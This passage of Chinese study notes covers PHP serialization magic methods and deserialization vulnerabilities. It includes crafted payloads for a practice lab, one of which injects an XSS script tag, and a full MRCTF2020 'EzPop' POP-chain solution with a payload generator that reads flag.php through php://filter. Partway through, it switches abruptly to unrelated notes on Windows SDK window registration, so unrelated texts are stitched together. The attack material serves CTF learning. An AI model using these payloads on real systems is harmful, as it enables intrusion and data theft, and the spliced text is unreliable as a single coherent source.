字符串类型:长度6:键"domain";字符串类型:字符串类型:长度12:值"dustball.top";
字符串类型:长度5:键"title";字符串类型:字符串类型:长度12:值"the republic";
}

__serialize和__unserialize会影响键,这里键就只有一个字符,分别是"s","t"

O:4:"Site":2:{s:1:"d";s:12:"dustball.top";s:1:"t";s:12:"the republic";}

如果不显式__serialize,则键默认就是成员变量名,"domain","title"

__sleep()&&__wakeup()

如果已经显式__serialize__sleep写了白写

如果已经显式__unserialize__wakeup写了白写

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 null 被序列化,并产生一个 E_NOTICE 级别的错误。

__sleep()&&__wakeup()调用时机和__serialize&&__unserialize差不多,但是优先级不如后者,后者存在时不会调用前者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class Site
{
var $domain;
var $title;

function __construct($d = 0, $t = 0)
{
$this->domain = $d;
$this->title = $t;
}

function __sleep()
{
print "__sleep acitved \n";
return ['domain','title'];//此处只能写类成员键组成的数组,表示需要参与序列化的成员
//return ['d','t'];如果这样写会报错,因为Site类没有d这个成员变量,应该写domain
}
function __wakeup()
{
print "__wakeup actived \n";
}

function __invoke() //方便打印观察,重载invoke函数
{
return "[" . $this->title . "," . $this->domain . "]";
}
}
$mySite = new Site("dustball.top", "the republic"); //实例化

$seri = serialize($mySite); //序列化,返回字符串用$seri存放
print $seri . "\n"; //打印观察serialize函数执行结果

$Site2 = unserialize($seri); //反序列化,使用serivalize的结果作为输入

print $Site2();//观察反序列化得到的实例

运行结果

1
2
3
4
__sleep acitved 
O:4:"Site":2:{s:6:"domain";s:12:"dustball.top";s:5:"title";s:12:"the republic";}
__wakeup actived
[the republic,dustball.top]

serialize函数会根据__sleep指定参与序列化的成员,进行序列化,这里指定了domain和title都参与实例化,也可以只指定domain参与,也可以都不参与,那么运行结果

1
2
3
4
5
6
7
8
9
10
11
12
...
function __sleep()
{
print "__sleep acitved \n";
// return ['domain','title'];
return [];//都不参与实例化
}
...
__sleep acitved
O:4:"Site":0:{}
__wakeup actived
[,]

__clone

作用是 实现深拷贝,在调用clone时默认调用__clone函数

__set&&__get&&&__isset&&__unset

1
2
3
4
5
6
7
public __set(string $name, [mixed]

public __get(string $name): [mixed]

public __isset(string $name): bool

public __unset(string $name): void

在给不可访问(protected 或 private)或不存在的属性赋值时,__set() 会被调用。

读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。

当对不可访问(protected 或 private)或不存在的属性调用 isset()empty() 时,__isset() 会被调用。

当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,__unset() 会被调用。

反序列化漏洞

魔术方法的调用时机:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

class test
{

public $varr1 = "abc";
public $varr2 = "123";

public function echoP(){
echo $this->varr1 . "\n";
}

public function __construct(){
echo "__construct\n";
}

public function __destruct(){
echo "__destruct\n";
}

public function __toString(){
return "__toString\n";
}

public function __sleep(){
echo "__sleep\n";
return array('varr1', 'varr2');
}

public function __wakeup(){
echo "__wakeup\n";
}
}



$obj = new test(); //实例化对象,调用__construct()方法,输出__construct

$obj->echoP(); //调用echoP()方法,输出"abc"

echo $obj; //obj对象被当做字符串输出,调用__toString()方法,输出__toString

$s = serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep

echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。

// 脚本结束又会调用__destruct()方法,输出__destruct

运行结果

1
2
3
4
5
6
7
8
__construct
abc
__toString
__sleep
__wakeup
__toString
__destruct
__destruct

最简单的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class A
{
public $only = "demo";
function __destruct()
{
echo $this->only;
}
}

$a = $_GET['test'];
$a_unser = unserialize($a);

尝试构造负载,将$only="demo"覆盖掉

类名为"A",只有一个字符

类有一个成员变量,没有显式__serialize指定键名,因此序列化字符串中的键就是变量名$only,显然这个键名长度为4字符,

值就根据需要修改了

因此可以构造出序列化字符串:

1
test=O:1:"A":1:{s:4:"only";s:6:"empire";}
image-20220721010820412

pikachu靶场-php反序列化漏洞

靶场没有给任何提示,也没有给源代码,目前我猜不出这个类有几个成员,都叫啥,有没有显式__serialize等等,还是看看后端的代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}

$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){//反序列化不成功则 大兄弟,来点劲爆点儿的!
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";//反序列化成功,则构造好$html,待会儿要向前端打印该值
}
}
?>
...
<?php echo $html;?>

显然根据刚才最简单的例子,可以构造一个序列化字符串覆盖掉$test="pikachu"

1
O:1:"S":1:{s:4:"test";s:6:"empire";}
image-20220721011634848

既然如此,6:"empire"这里只需要按照负载字符串长度:"负载字符串"这种格式随便改.如果改成XSS攻击语句,往前端一打印不就实现XSS攻击了吗

1
O:1:"S":1:{s:4:"test";s:26:"<script>alert(0);</script>";}
image-20220721011848980

反序列化成员对象

前面的例子和靶场中,反序列化构造的成员变量都是字符串类型,

能否用反序列化充实一个成员对象呢?

显然可以

以链表类为例子,

链表节点LinkedNode有两个成员,一个是本节点的value值,另一个是下一个节点的引用next

链表类LinkedList有一个成员,即附加头节点成员对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class LinkedNode{
private $value;
private $next;
public function __construct($v=0,$n=NULL){
$this->value=$v;
$this->next=$n;
}
public function setNext($n=NULL){
$this->next=$n;
}
public function getNext(){
return $this->next;
}
}
class LinkedList{
private $head;
public function __construct(){
$this->head=new LinkedNode(0,NULL);
}
public function insertHead($v){
$node=new LinkedNode($v,$this->head->getNext());
$this->head->setNext($node);
}
}
$linkedlist=new LinkedList;
$linkedlist->insertHead(1);
$linkedlist->insertHead("empire");
print serialize($linkedlist);
?>

实例化一个链表对象linkedlist,插入两个节点,然后对其序列化得到

1
2
O:10:"LinkedList":1:{s:16:"LinkedListhead";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:0;s:16:"LinkedNodenext";O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:6:"empire";s:16:"LinkedNodenext";O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:1;s:16:"LinkedNodenext";N;}}}}

这一长串太不直观,换行缩进一下得到

1
2
3
4
5
6
7
O:10:"LinkedList":1:{s:16:"LinkedListhead";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:0;s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:6:"empire";s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:1;s:16:"LinkedNodenext";N;}
}
}
}

最外层是LinkedList实例

从第二层开始都是LinkedNode实例,其结构为

1
2
3
4
O:10:"LinkedNode":2:{
s:17:"LinkedNodevalue";<类型>:<值>;s:16:"LinkedNodenext":
下一个LinkedNode实例;
}

考虑如图所示结构,应怎么用序列化表示呢?

1
2
3
4
graph LR
subgraph linkedlist
head-->A-->510-->C-->empire-->10-->NULL
end
1
2
3
4
5
6
7
8
9
10
11
12
13
O:10:"LinkedList":1:{s:16:"LinkedListhead";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:0;s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:1:"A";s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:510;s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:1:"C";s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";s:6:"empire";s:16:"LinkedNodenext";
O:10:"LinkedNode":2:{s:17:"LinkedNodevalue";i:10;s:16:"LinkedNodenext";N;}
}
}
}
}
}
}

POP链

多次利用反序列化漏洞,可能要反序列化得到多个对象,最终找到可利用点

类似于pwn中的面向返回编程

MRCTF2020-EzPop

上来就给源码,显然是highlight_file(__FILE__);的功劳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){//普通成员函数
include($value);//append有文件包含,value参数应该是一个文件,显然这里应该是flag.php
}
public function __invoke(){//本类对象被当作函数调用的时候自动调用__invoke
$this->append($this->var);//本类成员作为仿函数被调用时,调用append(var),那么var应该是"flag.php"
}
}
//分析到此,Modifier类的作用大体上是:
//本类对象应当作为其他类对象的成员对象,并且$var应该设置为flag.php,然后等待被别人调用__invoke得到flag

class Show{
public $source;
public $str;
public function __construct($file='index.php'){//缺省参数
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){//unserialize先调用__wakeup,显然本类应该是 反序列化突破口
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){//访问不存在的属性或者protected,private属性时,自动调用__get
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);//给源码
}

整个调用链是怎样的呢?

从Show类入口,观察其__wakeup函数,貌似做了一个黑名单过滤,不允许__$this->source有黑名单中的字样

1
2
3
4
5
6
public function __wakeup(){//unserialize先调用__wakeup,显然本类应该是 反序列化突破口
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}

但是,$this->source一定是一个字符串吗?如果是一个实现了__toString魔术函数的对象也可以啊.

这三个类只有Show实现了__toString,因此$source应该是一个Show类的对象

现在皮球从Show::__wakeup踢到了Show::__toString脚下

Show类的__toString干了啥呢?

1
2
3
public function __toString(){
return $this->str->source;
}

str如果是一个字符串,对他应用成员运算符->必然出错,

但是如果str不是字符串,是一个对象呢?

是谁的对象呢?从str->source,直觉上还是Show的对象,但是这样转起来没完了,一直在Show里面没有进展

那么str应该是谁的对象呢?

考虑到Test::__get这个函数,当调用Test类中不存在的成员时,__get函数会被调用

Test不含这个叫做source的成员,因此皮球可以踢给Test::__get

Test类的__get干了啥呢?

1
2
3
4
5
public $p;
public function __get($key){//访问不存在的属性或者protected,private属性时,自动调用__get
$function = $this->p;
return $function();
}

用一个$function变量拷贝了本对象的p成员,然后作为函数调用

那么本类的p成员要么是一个函数,要么是一个实现了__invoke的仿函数类,显然Modifier类实现了__invoke函数

皮球踢到了Modifier::__invoke脚下,它干了啥呢?

1
2
3
4
5
6
7
protected  $var;
public function append($value){//普通成员函数
include($value);//append有文件包含,value参数应该是一个文件,显然这里应该是flag.php
}
public function __invoke(){//本类对象被当作函数调用的时候自动调用__invoke
$this->append($this->var);//本类成员作为仿函数被调用时,调用append(var),那么var应该是"flag.php"
}

__invoke调用了append($this->var),将$var文件包含进来

控制流分析完毕,下面考虑如何构造序列化字符串

1
2
3
4
5
6
7
8
Show对象,用于骗过Show::__wakeup
source:Show对象,用于执行Show::__toString
source:随便
str:Test对象,用于执行__get
p:Modifier对象,用于执行__invoke
var:"flag.php"//此处有问题,直接写flag.php得不到flag
str:随便

因此生成payload的php程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';//获取源代码
}
class Show{
public $source;
public $str;

}
class Test{
public $p;
}
$a=new Show;
$a->source=new Show;
$a->source->str=new Test;
$a->source->str->p=new Modifier;
print serialize($a);

?>

运行结果

1
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

urlencode之后用get方法传进去得到base64加密密文

1
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2UzY2IyY2U2LTZlNzItNDVjNy1iY2FlLWRlMTk4YmM2ZjkzYX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

解密之后得到

1
2
3
4
5
6
<?php
class Flag{
private $flag= "flag{e3cb2ce6-6e72-45c7-bcae-de198bc6f93a}";
}
echo "Help Me Find FLAG!";
?>

坑1

我一开始傻了吧唧的真用手去构造这个序列化字符串

1
2
3
4
5
6
7
8
9
10
11
O:4:"Show":2:{s:10:"Showsource";
O:4:"Show":2:{s:10:"Showsource":i:0;
O:4:"Test":1:{s:5:"Tests";
O:8:"Modifier":1{s:11:"Modifiervar";s:8:"flag.php"}
}
}
s:7:"Showstr";i:0;}


O:4:"Show":2:{s:10:"Showsource";O:4:"Show":2:{s:10:"Showsource":i:0;O:4:"Test":1:{s:5:"Tests";O:8:"Modifier":1{s:11:"Modifiervar";s:8:"flag.php"}}}
s:7:"Showstr";i:0;}

结果全错了,键名都不对,只有private修饰的键名才会前面附上类名,啥意思呢?

1
2
3
4
5
6
7
8
9
<?php
class Test {
private $v1="private";
protected $v2="protected";
var $v3="default";
public $v4="public";
}
$a=new Test;
print serialize($a);

结果

1
O:4:"Test":4:{s:8:"Testv1";s:7:"private";s:5:" * v2";s:9:"protected";s:2:"v3";s:7:"default";s:2:"v4";s:6:"public";}
修饰符 原键名 序列化后键名 备注
private v1 Testv1 附上类名作为前缀
protected v2 * v2 附上*前缀(注意星号左右各有一个空格)
缺省 v3 v3 不变
public v4 v4 不变

坑2

vscode调试控制台向外粘贴出错

vscode调试控制台输出的运行结果是这样的

image-20220721032806113

对于 * v2这种protected变量序列化后的键名,从调试控制台复制出去之后,星号两侧的空格消失

位置 表现
调试控制台中的输出 O:4:"Test":4:{s:8:"Testv1";s:7:"private";s:5:" * v2";s:9:"protected";s:2:"v3";s:7:"default";s:2:"v4";s:6:"public";}
粘贴出去的输出 O:4:"Test":4:{s:8:"Testv1";s:7:"private";s:5:"*v2";s:9:"protected";s:2:"v3";s:7:"default";s:2:"v4";s:6:"public";}

解决方法是,直接让php输入urlencode之后的负载,这样所有的空格都会被转移,并且不用再去hackbar中urlencode了

echo urlencode(serialize($a));

windows SDK chapter 3 窗口与消息

从例程开始

圣经windows程序设计给出的例程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <windows.h>
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("HelloWin");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = WndProc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = szAppName;
if (!RegisterClass(&wndclass))
{
MessageBox(NULL, TEXT("This program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}
hwnd = CreateWindow(szAppName, // window class name
TEXT("The Hello Program"), // window caption
WS_OVERLAPPEDWINDOW, // window style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
CW_USEDEFAULT, // initial x size
CW_USEDEFAULT, // initial y size
NULL, // parent window handle
NULL, // window menu handle
hInstance, // program instance handle
NULL); // creation parameters

ShowWindow(hwnd, iCmdShow);
UpdateWindow(hwnd);

while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
HDC hdc;
PAINTSTRUCT ps;
RECT rect;

switch (message)
{
case WM_CREATE:
PlaySound(TEXT("SenbonZakura.wav"), NULL, SND_FILENAME | SND_ASYNC);
return 0;
case WM_PAINT:
hdc = BeginPaint(hwnd, &ps);

GetClientRect(hwnd, &rect);

DrawText(hdc, TEXT("Hello, Windows 98!"), -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
EndPaint(hwnd, &ps);
return 0;

case WM_DESTROY:
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

要求:和exe文件同目录下有一个SenbonZakura.wav才能听歌.没有也不至于出错

至于windows系统版本要求,win xp是可以的,再老一点的win2000应该也可以,但是win98不是狠支持unicode编码,不是很行了

主函数

接口定义

WinMain函数,其固定格式:

1
2
3
4
5
INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR lpCmdLine, INT nCmdShow)
{
return 0;
}

返回值为INT,在minwindef.h中有typedef int INT;

调用约定为WINAPIminwindef.h中有:

1
2
3
4
5
6
#define CALLBACK    __stdcall
#define WINAPI __stdcall
#define WINAPIV __cdecl
#define APIENTRY WINAPI
#define APIPRIVATE __stdcall
#define PASCAL __stdcall

关于stdcall调用约定:

Element Implementation
参数传递顺序 从右向左压栈,不使用寄存器
参数传递规则(值传递/引用传递) 除非参数是指针或者引用类型,否则采用值传递
栈维护 被调用者自己清理自己用到的栈
命名修饰规则 下划线开头,然后@,然后是十进制表示的参数表字节大小. 因此int func(int a,double b)将会被修饰为_func@12(int四个字节+double八个字节)
大小写转换规定
返回值位置 放在eax,rax寄存器中

四个参数:

HINSTANCE hInstance:句柄类型,实例句柄或者模块句柄.实际上是一个数,但是可以唯一地标识某些东西.例程中的hInstance就标识本程序自己.

句柄类似于文件描述符,用一个数字对应一个打开的文件

HINSTANCE hPrevInstance:本程序前一个打开的实例的句柄.如果a.exe已经有一个实例在运行了,那么此时再打开a.exe,则hPrevInstance就是刚才实例的句柄.32位windows中该参数已经弃用

PSTR lpCmdLine:用来运行程序的命令行

PSTR是个什么类型呢?

1
2
typedef char CHAR;
typedef _Null_terminated_ CHAR *NPSTR, *LPSTR, *PSTR;

原来是以NULL结尾的char*字符串

INT nCmdShow:指明程序最初如何显示,包括最大化,最小化,正常显示

调用链

关于入口点的问题还需要炎鸠,暂且这样认为

1
2
3
4
WinMainCRTStartup或mainCRTStartup
->__tmainCRTStartup
->main
->WinMai

用ida观察最开始貌似有两个入口,但是实际上是不同类型的exe的进入点不一样

mainCRTStartup() ANSI + 控制台程序 wmainCRTStartup() UNICODE + 控制台程序 WinMainCRTStartup() ANSI + GUI程序 wWinMainCRTStartup() UNICODE + GUI程序

然后__tmainCRTStartup这个函数,

使用GetStartupInfo获取进程启动信息,

然后使用_inititem初始化全局变量和对象,

最后调用main、wmain、WinMain、wWinMain进入程序

注册窗口类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HWND hwnd;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = WndProc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = szAppName;
if (!RegisterClass(&wndclass))
{
MessageBox(NULL, TEXT("This program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}

WNDCLASS wndclass

窗口类(实际上是一个C结构体配合面向对象风格的函数使用罢了),创建应用程序窗口之前必须注册窗口类

这个类的成员都有啥呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef struct tagWNDCLASSW {
UINT style;
WNDPROC lpfnWndProc;
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance;
HICON hIcon;
HCURSOR hCursor;
HBRUSH hbrBackground;
LPCWSTR lpszMenuName;
LPCWSTR lpszClassName;
} WNDCLASSW, *PWNDCLASSW, NEAR *NPWNDCLASSW, FAR *LPWNDCLASSW;
#ifdef UNICODE
typedef WNDCLASSW WNDCLASS;

其中最重要的是lpfnWndProc回调函数,lpszClassName窗口类名

style

UINT,unsigned int,无符号32位整型

窗口类样式.枚举类型

取值 说明
CS_BYTEALIGNCLIENT
0x1000
窗口的客户区域以“字符边界”对齐,当系统调整窗口的水平位置时,客户区域的左边坐标是8的整数倍。
CS_BYTEALIGNWINDOW
0x2000
窗口以“字符边界”对齐,当系统调整窗口的水平位置时,客户区域的左边坐标是8的整数倍。
CS_CLASSDC
0x0040
分配一个设备环境并被类中的所有窗体共享。它是可以适用于一个应用程序的若干线程创建的一个相同类的窗体。当多个线程试图同时使用相同的设备环境时,系统只允许一个线程成功地进行绘图操作。
CS_DBLCLKS
0x0008
当用户双击窗口时,将向窗口函数发送鼠标双击消息。
CS_GLOBALCLASS
0x4000
指定此窗体类是一个应用程序全局类。应用程序全局类是由一个在进程中对所有模块有效的exe或dll注册的窗体类。
CS_HREDRAW
0x0002
如果窗口的位置或宽度发生改变,将重绘窗口。
CS_NOCLOSE
0x0200
窗口中的“关闭”按钮不可见。
CS_OWNDC
0x0020
为同一个窗口类中的每个窗口创建一个唯一的设备上下文。
CS_PARENTDC
0x0080
设置子窗口中剪下的矩形区域到父窗口中,以使子窗口可以在父窗口上绘图。指定该风格可以提高应用程序的性能
CS_SAVEBITS
0x0800
把被窗口遮掩的屏幕图像作为位图保存起来。当该窗口被移动时,Windows操作系统使用被保存的位图来重建屏幕图像。
CS_VREDRAW
0x0001
如果窗口的位置或高度改变,将重绘窗口。

多个样式时使用按位或

lpfnWndProc

窗口信息的回调处理函数,窗口的灵魂

其类型是一个函数指针

1
2
3
4
5
6
7
8
9
10
11
12
typedef __int64 LONG_PTR, *PLONG_PTR;
typedef LONG_PTR LRESULT;

#define CALLBACK __stdcall

typedef unsigned __int64 UINT_PTR, *PUINT_PTR;
typedef UINT_PTR WPARAM;

typedef __int64 LONG_PTR, *PLONG_PTR;
typedef LONG_PTR LPARAM;

typedef LRESULT (CALLBACK* WNDPROC)(HWND, UINT, WPARAM, LPARAM);

一个返回值为LRESULT(64位整数),调用约定位CALLBACK(__stdcall),

四个参数分别为句柄,无符号32位整型,无符号64位整型,带符号64位整型

的函数指针WNDPROC

在例程中,它被注册为wndclass.lpfnWndProc = WndProc;

该函数就是过程函数,决定了收到特定消息时窗口的行为

cbClsExtra

根据匈牙利命名法,cb,count bytes,表示字节数前缀.

windows程序为每一个窗口设计类管理一个WNDCLASS结构。在应用程序注册一个窗口类的时候,可以让windows分配一定字节空间的内存,这部分内存成为类的附件内存,有属于这个窗口类的所有窗口共享,类附件内存信息用于存储窗口类的附加信息。windows系统将这部分内存初始化为0,因此我们经常设置此参数为0.

例程中该值设置为0,看来不是必要的

cbWndExtra

windows程序为每一个窗口管理一个内部数据结构,在注册窗口类的时候,系统可以为每一个窗口分配一定的字节数的附加内存空间,称为窗口附件内存。应用程序可使用这部分内存存储窗口特有的数据,windows系统把这部分内存初始化为0.

例程中该值设置为0,看来不是必要的

hInstance

窗体所在句柄

在例程中是这样写的wndclass.hInstance = hInstance;

右值的hInstance来自WinMain的第一个参数hInstacne,也就是当前程序的句柄

hIcon

窗体图标的句柄

例程中wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);

调用了一个函数LoadIcon

1
2
3
WINUSERAPI HICON WINAPI LoadIconW
(_In_opt_ HINSTANCE hInstance,_In_ LPCWSTR lpIconName);
#define LoadIcon LoadIconW

hInstance:模块实例句柄,该模块包含了将被加载的图标

lpIconName:被家长的图标资源的名称

如果使用系统图标则hInstance为NULL,lpIconName为宏定义值

Value 含义
IDI_APPLICATION MAKEINTRESOURCE(32512) 默认程序图标
IDI_ASTERISK MAKEINTRESOURCE(32516) Asterisk图标, 与IDI_INFORMATION相同
IDI_ERROR MAKEINTRESOURCE(32513) Hand-shaped图标
IDI_EXCLAMATION MAKEINTRESOURCE(32515) 感叹号图标, 与IDI_WARNING相同
IDI_HAND MAKEINTRESOURCE(32513) Hand-shaped图标, 与IDI_ERROR相同
IDI_INFORMATION MAKEINTRESOURCE(32516) Asterisk图标
IDI_QUESTION MAKEINTRESOURCE(32514) 疑问号图标
IDI_SHIELD MAKEINTRESOURCE(32518) 安全盾图标
IDI_WARNING MAKEINTRESOURCE(32515) 感叹号图标
IDI_WINLOGO MAKEINTRESOURCE(32517) 默认程序图标, Win2000:Windows logo图标

例程中就使用了系统图标IDI_APPLICATION即默认图标(最丑的白板)

给他改成安全盾

image-20220713161727581

函数返回值为HICON即新加载的图标的句柄,如果加载失败则返回NULL

hCursor
1
2
3
4
5
6
7
HCURSOR
WINAPI
LoadCursorW(
_In_opt_ HINSTANCE hInstance,
_In_ LPCWSTR lpCursorName);
#ifdef UNICODE
#define LoadCursor LoadCursorW

光标类句柄

使用方法类似于hIcon,当hInstance=NULL时通过lpCursorName指定一个枚举值,使用系统光标

宏名 宏值 意义
IDC_APPSTARTING MAKEINTRESOURCE(32650) 标准箭头和沙漏
IDC_ARROW MAKEINTRESOURCE(32512) 标准箭头
IDC_CROSS MAKEINTRESOURCE(32515) 十字线
IDC_HAND MAKEINTRESOURCE(32649) 手掌
IDC_HELP MAKEINTRESOURCE(32651) 箭头和问号
IDC_IBEAM MAKEINTRESOURCE(32513) I型
IDC_ICON MAKEINTRESOURCE(32641) 已过时
IDC_NO MAKEINTRESOURCE(32648 禁止圈
IDC_SIZE MAKEINTRESOURCE(32640) 已过时,应该用IDC_SIZEALL
IDC_SIZEALL MAKEINTRESOURCE(32646) 指向东、西、南、北的四方向箭头
IDC_SIZENESW MAKEINTRESOURCE(32643) 指向东南、西北的两方向箭头
IDC_SIZENS MAKEINTRESOURCE(32645) 指向南、北的两方向箭头
IDC_SIZENWSE MAKEINTRESOURCE(32642) 指向西北、东南的两方向箭头
IDC_SIZEWE MAKEINTRESOURCE(32644) 指向东西的两方向箭头
IDC_UPARROW MAKEINTRESOURCE(32516) 竖直箭头
IDC_WAIT MAKEINTRESOURCE(32514) 沙漏

返回值HCURSOR类型的句柄.如果成功,返回最近一次加载的光标句柄。如果失败,返回NULL。

例程中使用的是IDC_ARROW标准箭头

image-20220713162947891
hbrBackground

主窗口背景色,背景刷类的句柄

该值可以是一个物理刷,也可以是纯颜色值

  • COLOR_ACTIVEBORDER
  • COLOR_ACTIVECAPTION
  • COLOR_APPWORKSPACE
  • COLOR_BACKGROUND
  • COLOR_BTNFACE
  • COLOR_BTNSHADOW
  • COLOR_BTNTEXT
  • COLOR_CAPTIONTEXT
  • COLOR_GRAYTEXT
  • COLOR_HIGHLIGHT
  • COLOR_HIGHLIGHTTEXT
  • COLOR_INACTIVEBORDER
  • COLOR_INACTIVECAPTION
  • COLOR_MENU
  • COLOR_MENUTEXT
  • COLOR_SCROLLBAR
  • COLOR_WINDOW
  • COLOR_WINDOWFRAME
  • COLOR_WINDOWTEXT
image-20220713163735682

例程中使用的是物理刷(HBRUSH)GetStockObject(WHITE_BRUSH)

其中GetStockObject函数原型:

1
2
3
HGDIOBJ GetStockObject(
[in] int i
);

参数i的取值有:

含义
BLACK_BRUSH 黑色画刷
DKGRAY_BRUSH 暗灰色画刷
DC_BRUSH 1. 纯色画刷,默认颜色是白色的 2. 调用 SetDCBrushColor 函数可以修改该值的颜色
GRAY_BRUSH 灰色画刷
HOLLOW_BRUSH 空画刷(相当于 NULL_BRUSH)
LTGRAY_BRUSH 浅灰色画刷
NULL_BRUSH 空画刷(相当于 HOLLOW_BRUSH)
WHITE_BRUSH 白色画刷
BLACK_PEN 黑色画笔
DC_PEN 1. 纯色画笔,默认颜色是白色的 2. 调用 SetDCPenColor 函数可以修改该值的颜色
NULL_PEN 空画笔(空画笔不绘制任何东西)
WHITE_PEN 白色画笔
ANSI_FIXED_FONT Windows 中的固定间距(等宽)系统字体
ANSI_VAR_FONT Windows 中的可变间距(比例间距)系统字体
DEVICE_DEFAULT_FONT 设备相关字体
DEFAULT_GUI_FONT 1. 用户界面对象(如菜单、对话框)的默认字体 2. 不推荐使用 DEFAULT_GUI_FONT 或 SYSTEM_FONT 获得对话框或系统的字体 3. 该字体默认是 Tahoma
OEM_FIXED_FONT 原始设备制造商(OEM)相关固定间距(等宽)字体
